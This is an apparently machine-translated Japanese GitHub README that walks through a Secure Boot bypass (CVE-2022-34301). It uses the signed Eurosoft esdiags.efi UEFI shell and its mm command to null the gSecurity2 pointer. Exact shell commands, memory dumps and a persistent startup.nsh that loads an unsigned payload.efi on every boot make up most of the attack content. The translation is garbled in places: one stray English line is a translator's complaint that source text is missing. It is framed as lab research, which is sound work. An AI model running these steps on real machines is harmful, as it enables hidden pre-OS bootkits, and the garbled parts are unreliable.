themalwareguardian/cve-2022-34301CVE-2022-34301 の Secure Boot バイパスを、Eurosoft 署名済み UEFI Shell (esdiags.efi) 経由で実演し、mm コマンドを使って gSecurity2 を無効化し、未署名の UEFI アプリケーションをロードします。
Eurosoft Pc-Check UEFI Diagnostics Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - 署名済み UEFI Shell と gSecurity2 の破壊による Secure Boot バイパス。
このリポジトリは、CVE-2022-34301 を悪用することで BYOVUA (Bring Your Own Vulnerable UEFI Application) 技術を実演します。これは Eurosoft Pc-Check UEFI 診断環境における Secure Boot バイパス脆弱性です。
このケースでは、Secure Boot によって信頼されているコンポーネントは esdiags.efi です。これは Eurosoft の Pc-Check UEFI ハードウェア診断製品の一部として配布されている UEFI Shell であり、Microsoft の UEFI Third Party Certificate Authority によって信頼された証明書チェーンで署名されています。一度実行されると、このシェルは mm (memory modify) コマンドを公開し、それによって OS 起動前のブートフェーズにおいて 任意のメモリ読み書き 機能を提供します。
このプリミティブは、DXE コア内の gSecurity2 グローバルポインタを特定して無効化するために使用できます。その結果、以降の UEFI イメージ検証が無効化され、Secure Boot が有効であっても未署名の UEFI アプリケーションやブートキットをロードできるようになります。
BYOVUA は、カーネルレベルで使用される BYOVD (Bring Your Own Vulnerable Driver) 技術の UEFI 版です。脆弱性を持つ署名済みカーネルドライバを持ち込む代わりに、攻撃者は署名済み UEFI アプリケーション - この場合は完全な UEFI Shell - を持ち込み、Secure Boot を損なう可能性のある機能を含んでいます。
このアプリケーションは Secure Boot によって信頼された証明書チェーンで署名されているため、疑われることなく受け入れられ、Microsoft UEFI Third Party Certificate Authority を Secure Boot データベース (db) に含むあらゆるシステム - つまり過去 10 年間に出荷されたほぼすべての UEFI 対応 PC - で信頼されます。一度実行されると、その組み込みコマンドは攻撃者に直接的なハードウェアおよびメモリアクセスを提供し、それは に動作し、最新のセキュリティ制御 (ASLR、DEP、カーネル保護) が単に存在しない環境です。
esdiags.efi は Eurosoft の Pc-Check UEFI の一部として配布されている UEFI Shell であり、PC メーカー、サービス組織、IT チームがベアメタルシステムテストに使用するプリブートハードウェア診断製品です。
| プロパティ | 値 |
|---|---|
| ファイル | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| ベンダー | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| 署名 | Microsoft Corporation UEFI CA 2011 (Third Party) |
| 発見 | Eclypsium (Mickey Shkatov, Jesse Michael) - 2022年8月 |
| プレゼンテーション | DEF CON 30 - "One Bootloader to Load Them All" |
| 失効 | Microsoft KB5012170 経由で DBX に追加 (2022年8月) |
この脆弱性はバグではなく、設計上の欠陥 です。UEFI Shell は正規の診断ツールであり、Secure Boot 環境で実行されることは意図されていませんでした。しかし、Microsoft が信頼する証明書で署名し、商用製品の一部として配布することで、ベンダーは意図せず Secure Boot の署名済みバイパスを作成してしまいました。
核心的な問題: Secure Boot によって信頼されている署名済みバイナリが、その組み込みコマンドを通じて無制限のメモリ読み書き機能を提供します。この組み合わせが Secure Boot の信頼モデル全体を破壊します。
mm (memory modify) コマンドは、システムメモリへの直接的な読み書きアクセスを提供する標準的な UEFI Shell 組み込みコマンドです。UEFI Shell Specification (セクション 5.3) に記載されています。```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| パラメータ | 説明 |
|-----------|-------------|
| `Address` | 対象メモリアドレス |
| `Value` | 書き込む値（読み取り専用の場合は省略） |
| `-w` | 幅: 1、2、4、または 8 バイト |
| `-MEM` | システムメモリアクセス |
| `-MMIO` | メモリマップド I/O |
| `-IO` | I/O ポートアクセス |
| `-n` | 非対話型（次のアドレスのプロンプトを表示しない） |
---
<div id='gsecurity2'/>
### ***gSecurity2 とセキュリティアーキテクチャプロトコル***
UEFI における Secure Boot イメージ検証は、UEFI Platform Initialization (PI) 仕様で定義されている[セキュリティアーキテクチャプロトコル](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols)を通じて実施されます。
DXE コア (DxeMain) は [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) と呼ばれるグローバルポインタを保持しており、これは `EFI_SECURITY2_ARCH_PROTOCOL` 構造体を指します。このプロトコルには単一の関数ポインタ - `FileAuthenticationState` - が含まれており、UEFI イメージがロードされるたびに `LoadImage()` から呼び出されます:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
LoadImage() が呼び出されると、DXE コアは以下をチェックします:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
`gSecurity2 = NULL` を設定することで、`if` チェックが失敗し、`FileAuthenticationState` は決して呼び出されません。イメージ検証は完全にスキップされます - **Secure Boot は「有効」のままですが、もはや強制されません**。署名されていない UEFI アプリケーションはその後自由にロードできます。
この手法の深い技術的理解については、`gSecurity2` を自動的に特定してパッチを適用する専用の UEFI アプリケーションを含むコンパニオンプロジェクトを参照してください: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)。
---
<div id='BYOVD'/>
### ***カーネル BYOVD との並行性***
UEFI BYOVUA とカーネル BYOVD の構造的な並行性は正確です:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
どちらの攻撃も同じ根本的な欠陥を悪用している。セキュリティ機構から信頼されている署名済みコンポーネントが、まさにその機構を無効化するために必要なプリミティブを提供してしまうのだ。
署名済みの esdiags.efi を EFI システムパーティション (ESP) に配置し、ブートオプションとして設定する。これは Secure Boot に信頼された証明書チェーンで署名されているため、ファームウェアは問題なく検証してロードする。```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***Phase 2 - Security2 プロトコルハンドルの列挙***
UEFI Shell から、`EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) を公開しているハンドルを見つけ、そのプロトコルインターフェースのメモリアドレスを取得することが目標です。
> **Note:** `dh -p <GUID>` コマンドは、ほとんどの EDK2 Shell ビルドでは生の GUID を解決できません。登録されたプロトコル名のみを認識します。以下のアプローチはどの EDK2 Shell バージョンでも動作します。
**Step 1 - SecurityStubDxe ハンドルの検索**
すべてのハンドルを一覧表示し、`SecurityStubDxe` を探します。これは両方の Security Architectural Protocols をインストールする DXE ドライバーです:```
Shell> dh
出力で、SecurityStubDxe としてロードされたハンドルを特定します:```
10: Image(SecurityStubDxe)
**ステップ2 - 隣接するハンドルを検査する**
`SecurityStubDxe` は Security プロトコルを別のハンドルにインストールします。通常はその直後のハンドルです。これらのハンドルは、Shell がそれらの GUID を分かりやすい名前にマッピングできないため、短い一覧では空に見えます。詳細モードでそれらを検査します:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
ハンドル `0x11` にこれらの GUID が含まれていない場合は、`0x12` を試してください。正確なハンドル番号はファームウェアビルドによって異なります。
**ステップ 3 - インターフェースアドレスを記録する**
2 つのプロトコルとそのインターフェースアドレスは次のとおりです。
| GUID | プロトコル | インターフェースアドレス |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 インターフェースアドレス**（この例では `0x3EE8C3A0`）は、DxeMain 内の `gSecurity2` グローバルポインタに格納されている値です。この値はフェーズ 3 で必要になります。
---
<div id='Phase3'/>
### ***フェーズ 3 - メモリ内で gSecurity2 を特定する***
`gSecurity2` 変数は、DXE コア（`DxeMain`）内のグローバルポインタです。その値はフェーズ 2 で見つかったプロトコルインターフェースアドレスと等しくなります。目標は、このポインタが格納されているメモリアドレスを見つけることです。ポインタの値ではなく、変数自体です。
**ステップ 1 - DXE コアイメージのレイアウトを取得する**```
Shell> dh -v 1
I don't have the source content to translate. You mentioned "INPUT:" but no actual Markdown text was included after it.
Please paste the chunk 21 content you'd like translated from English to Japanese, and I'll return only the translated Markdown with all structure, code, paths, URLs, and identifiers preserved exactly.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
`ImageBase`（`0x3FE94000`）を記録します。
**ステップ 2 - PE ヘッダーを解析して `.data` セクションを見つける**
`.data` セクションには、`gSecurity2` を含む初期化されたグローバル変数が含まれています。イメージ全体を盲目的にスキャンするのではなく、PE ヘッダーを解析して正確な `.data` の境界を見つけます。
MZ ヘッダーを読み取り、PE ヘッダーのオフセットを取得します（オフセット `0x3C` にある DWORD）：```
Shell> dmem <ImageBase> 100
出力内で、ImageBase からのオフセット 0x3C を確認します。例えば、ImageBase が 0x3FE94000 の場合:```
3FE9403C: C0 00 00 00
これは、PE署名が`ImageBase`からオフセット`0xC0`にあることを意味します。
**ステップ3 - セクションテーブルの読み取り**
セクションテーブルのオフセットは次のように計算されます:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
COFFヘッダーを読み取り、SizeOfOptionalHeader（PE_offset + 20 の WORD）を取得します:```
Shell> dmem <ImageBase + PE_offset> 20
PE32+（x64）UEFIイメージの場合、`SizeOfOptionalHeader`は通常`0xF0`です。この例では：```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
セクションテーブルをダンプする（5セクション × 40バイト = 200バイト）：``` Shell> dmem 3FE941C8 140
各セクションエントリは40バイトです：
| オフセット | サイズ | フィールド |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
`.data` セクションエントリを探します。出力例：```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
絶対的な .data 境界を計算します:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**ステップ4 - インターフェースポインタを求めて `.data` をスキャンする**
`.data` 範囲内で Security2 インターフェースアドレスをリトルエンディアンのバイト順で検索します。インターフェースアドレスが `0x3EE8C3A0` の場合、次を検索します:```
A0 C3 E8 3E 00 00 00 00
data_start から 0x200 バイトのブロック単位でスキャンします:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
`.data` 範囲を引き続き調べ、そのバイトシーケンスが見つかるまで進みます。`gSecurity` (Security1) と `gSecurity2` (Security2) のポインタは連続して格納されているため、両方の値が隣接している箇所を探します:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
ヒント:
.dataセクションには EFI システムテーブル構造体（IBI SYST、DXE_SERV、BOOTSERV、RUNTSERV）も含まれています。セキュリティポインタは通常、これらの構造体の後に配置されています。スキャン中にこれらのシグネチャを見つけたら、そのまま続けてください - 目的の場所に近づいています。
ステップ5 - アドレスの確認
正確な位置を読み取って確認します:``` Shell> dmem 3FEB0C08 10
Expected output:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
0x3FEB0C08 というアドレスは gSecurity2 が格納されている場所です。これが Phase 4 のターゲットです。
gSecurity2 変数のアドレスが判明すれば、1 つの mm コマンドで Secure Boot 検証を無効化できます:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **注:** `mm` コマンドはアドレス引数に `0x` プレフィックスを受け付けない場合があります。生の16進数アドレスを直接使用してください。
例:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
これにより、gSecurity2 ポインタに 8 バイトのゼロが書き込まれます。DXE コアは LoadImage() 内のすべてのイメージ検証チェックをスキップするようになります。
パッチを検証するには:``` Shell> dmem <gSecurity2_address> 10
最初の8バイトは `00 00 00 00 00 00 00 00` と表示されるはずです:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
gSecurity（Security1、2番目のqword）はそのまま維持されることに注意してください - null化されるのはSecurity2のみであり、これだけでLoadImage()の検証をバイパスするのに十分です。
gSecurity2がnull化されると、署名の状態に関係なく、任意のUEFIアプリケーションをロードできます：```
Shell> fs1:
fs1:> MyUnsignedApp.efi
または、ドライバーには `load` を使用します:```
Shell> load fs1:\MyUnsignedDriver.efi
オペレーティングシステムはまだ起動していない。この時点でロードされたUEFIアプリケーションは、OSレベルのセキュリティ制御が初期化される前に、完全なハードウェアアクセス権限で実行される。
UEFI Shellは、起動のたびにカレントディレクトリまたはESPルートからstartup.nshを自動的に実行する。このスクリプトにmmパッチをエンコードすることで、Secure Bootバイパスが毎回の起動時に自動的に実行される：```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
例：```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
システムはSecure Bootを「有効」と報告し続ける - 無効化されるのは実行時の強制のみである。これにより、OSレベルのSecure Bootステータスクエリに対して攻撃は不可視となる。
重要:
gSecurity2アドレス（この例では0x3FEB0C08）はファームウェアビルドに固有である。ファームウェアが更新または再コンパイルされた場合、フェーズ2と3を繰り返してアドレスを再計算する必要がある。
gSecurity2 アドレスの特定はファームウェア固有であり、ファームウェアが更新または再コンパイルされるたびに繰り返す必要がある。高レベルのプロセスは以下の通りである:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
2つのアプローチが提供されています：
**アプローチA - FileAuthenticationStateのパッチ：** 検証関数の最初の4バイトを `xor rax, rax; ret`（`48 31 C0 C3`）で上書きし、チェックを一切行わずにEFI_SUCCESSを返すようにします。このアプローチでは `dh`、`dmem`、`mm` コマンドを使用してSecurity2プロトコルインターフェース経由で関数ポインタを解決し、DxeMainメモリの検索を必要としません。
**アプローチB - gSecurity2ポインタの無効化：** DxeMainの `.data` セクション内にあるgSecurity2グローバル変数を特定し、そこにNULLを書き込みます。これはEclypsiumがBombShellの開示で説明した手法であり、[gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)リポジトリでプログラム的に実装されています。このアプローチでは、DxeMainのPEヘッダーを解析して `.data` セクションの境界を見つけ、その後 `dmem` で手動でメモリをスキャンしてポインタのアドレスを特定する必要があります。
どちらのスクリプトも、各コマンドを説明しながらステップバイステップで実行できるように設計されています。まず対話的に実行し、対象ファームウェアの正しいアドレスが判明したら、毎回の起動時に自動実行するための `startup.nsh` を構築します。
---
---
---
<div id='LabSetup'/>
## ***Lab Setup***
### DBX（禁止署名データベース）
署名済みシェルは、KB5012170（2022年8月）を通じてMicrosoftのDBX失効リストに追加されました。更新されたシステムでは、シェルはSecure Bootによって拒否されます。
ラボ環境には、以下のいずれかのシステムが必要です：
- DBXにこの特定のシェルの失効エントリがまだ追加されていない
- またはDBXが空である（デフォルトのSecure Bootキーを持つ新規VM）
- またはカスタムのSecure Bootキー登録を行ったQEMU/OVMF環境を使用する
[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment)は、このための自動セットアップを提供します。
### 代替案：mmコマンドを持つ任意の署名済みUEFIシェル
この手法は `esdiags.efi` に固有のものではありません。`mm` コマンドを公開し、信頼された証明書（Microsoft CAまたはOEM固有）で署名されている任意のUEFI Shellを使用できます。Eclypsiumの[BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/)調査（2025年10月）で文書化されているように、危険な機能を持つ署名済みUEFIシェルが複数のベンダーの製品で発見されており、Frameworkのラップトップ（約20万台のデバイスに影響）も含まれています。
---
---
---
<div id='References'/>
## ***References***
### 直接関連
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - 既知の脆弱な署名済みUEFIアプリケーションのキュレーションされたコレクション
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - gSecurity2破壊手法の詳細な技術分析。ポインタを自動的に特定してパッチを適用する専用のUEFIアプリケーションを含む
### Eclypsium Research
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - .nshスクリプティングによるメモリ操作に署名済みUEFIシェルを使用する研究
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - CVE-2022-34301、CVE-2022-34302、CVE-2022-34303を開示したEclypsiumの元の研究
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey ShkatovとJesse Michaelのプレゼンテーション
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Frameworkのラップトップ（20万台のデバイスに影響）に対するmmコマンドgSecurity2攻撃を実証した2025年10月の研究
### UEFI仕様
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mmおよびdhコマンドのドキュメント
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2グローバルポインタのソースコードリファレンス
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 Architectural Protocolの公式定義
### アドバイザリ
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### ブートローダーカタログ
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - 失効したEurosoftシェルのYARAルール、Sigma検出、およびサンプルハッシュ